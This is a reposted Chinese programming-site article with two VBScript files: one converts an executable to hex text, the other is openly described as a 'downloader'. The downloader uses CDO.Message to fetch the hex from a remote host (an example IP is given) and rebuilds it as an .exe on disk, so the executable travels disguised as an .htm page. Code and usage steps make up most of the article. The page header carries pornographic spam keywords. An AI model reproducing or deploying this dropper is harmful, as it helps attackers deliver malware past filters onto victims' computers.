国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBS下載文件的新方法

2020-06-26 18:24:54
字體:
來源:轉載
供稿:網友
用vbs實現文件下載的代碼,CDO.MESSAGE可以訪問網絡下載東西,說是研究研究或許可以用來當下載者用。
 
BLOG備份腳本時發現 CDO.MESSAGE可以訪問網絡下載東西,說是研究研究或許可以用來當下載者用。 
于是研究了一會。寫出個粗糙的DEMO。 
exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉成十六進制 
================================================ 
復制代碼代碼如下:

'code by xiaolu 
'change by NetPatch 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
do while 1 
fname=arg(0) 
err.number=0 
Set Ado = CreateObject("adodb.stream") 
With Ado 
.Type = 1 
.open 
.loadfromfile fname 
ss = .read 
End With 
if err.number<>0 then 
if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit 
else 
exit do 
end if 
loop 
if fname="" then Wscript.quit 
Set Fso=CreateObject("Scripting.FileSystemObject") 
Set File=fso.OpenTextFile(arg(0)&".htm",2, True) 
File.write Bin2Str(ss) 
File.close 
Set fso=nothing 
Ado.close 
set Abo=nothing 
Function Bin2Str(Re) 
For i = 1 To lenB(Re) 
bt = AscB(MidB(Re, i, 1)) 
if bt < 16 Then Bin2Str=Bin2Str&"0" 
Bin2Str=Bin2Str & Hex(bt) 
Next 
End Function 

====================================== 
下載者 down.vbs 
============= 
[code] 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
'code by NetPatch 
'cscript down.vbs http://122.136.32.55/demo.htm c:/good.exe 
Set Mail1 = CreateObject("CDO.Message") 
Mail1.CreateMHTMLBody arg(0),31 
ss= Mail1.HTMLBody 
Set Mail1 = Nothing 
Set RS=CreateObject("ADODB.Recordset") 
L=Len(ss)/2 
RS.Fields.Append "m",205,L 
RS.Open:RS.AddNew 
RS("m")=ss&ChrB(0) 
RS.Update 
ss=RS("m").GetChunk(L) 
Set s=CreateObject("ADODB.Stream") 
with s 
.Mode = 3 
.Type = 1 
.Open() 
.Write ss 
.SaveToFile arg(1),2 
end with 
================================== 
demo.htm內容時用exe2hex.vbs轉EXE后獲得的 
使用方法: 
1.exe2hex.vbs 把exe轉成十六進制,放到網絡上 
2.down.vbs http://xxx/demo.htm c:/good.exe

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 恩施市| 宁乡县| 海林市| 晋宁县| 巴林左旗| 同江市| 达拉特旗| 顺义区| 鄂托克前旗| 高邑县| 紫云| 灌南县| 东至县| 台东市| 托克托县| 宁波市| 南投市| 丹江口市| 汶上县| 普兰店市| 宜兴市| 边坝县| 井冈山市| 卢湾区| 大关县| 定襄县| 庆安县| 益阳市| 方城县| 汽车| 张家港市| 内乡县| 长乐市| 孟津县| 桐柏县| 新闻| 东明县| 东明县| 五大连池市| 吉首市| 洪湖市|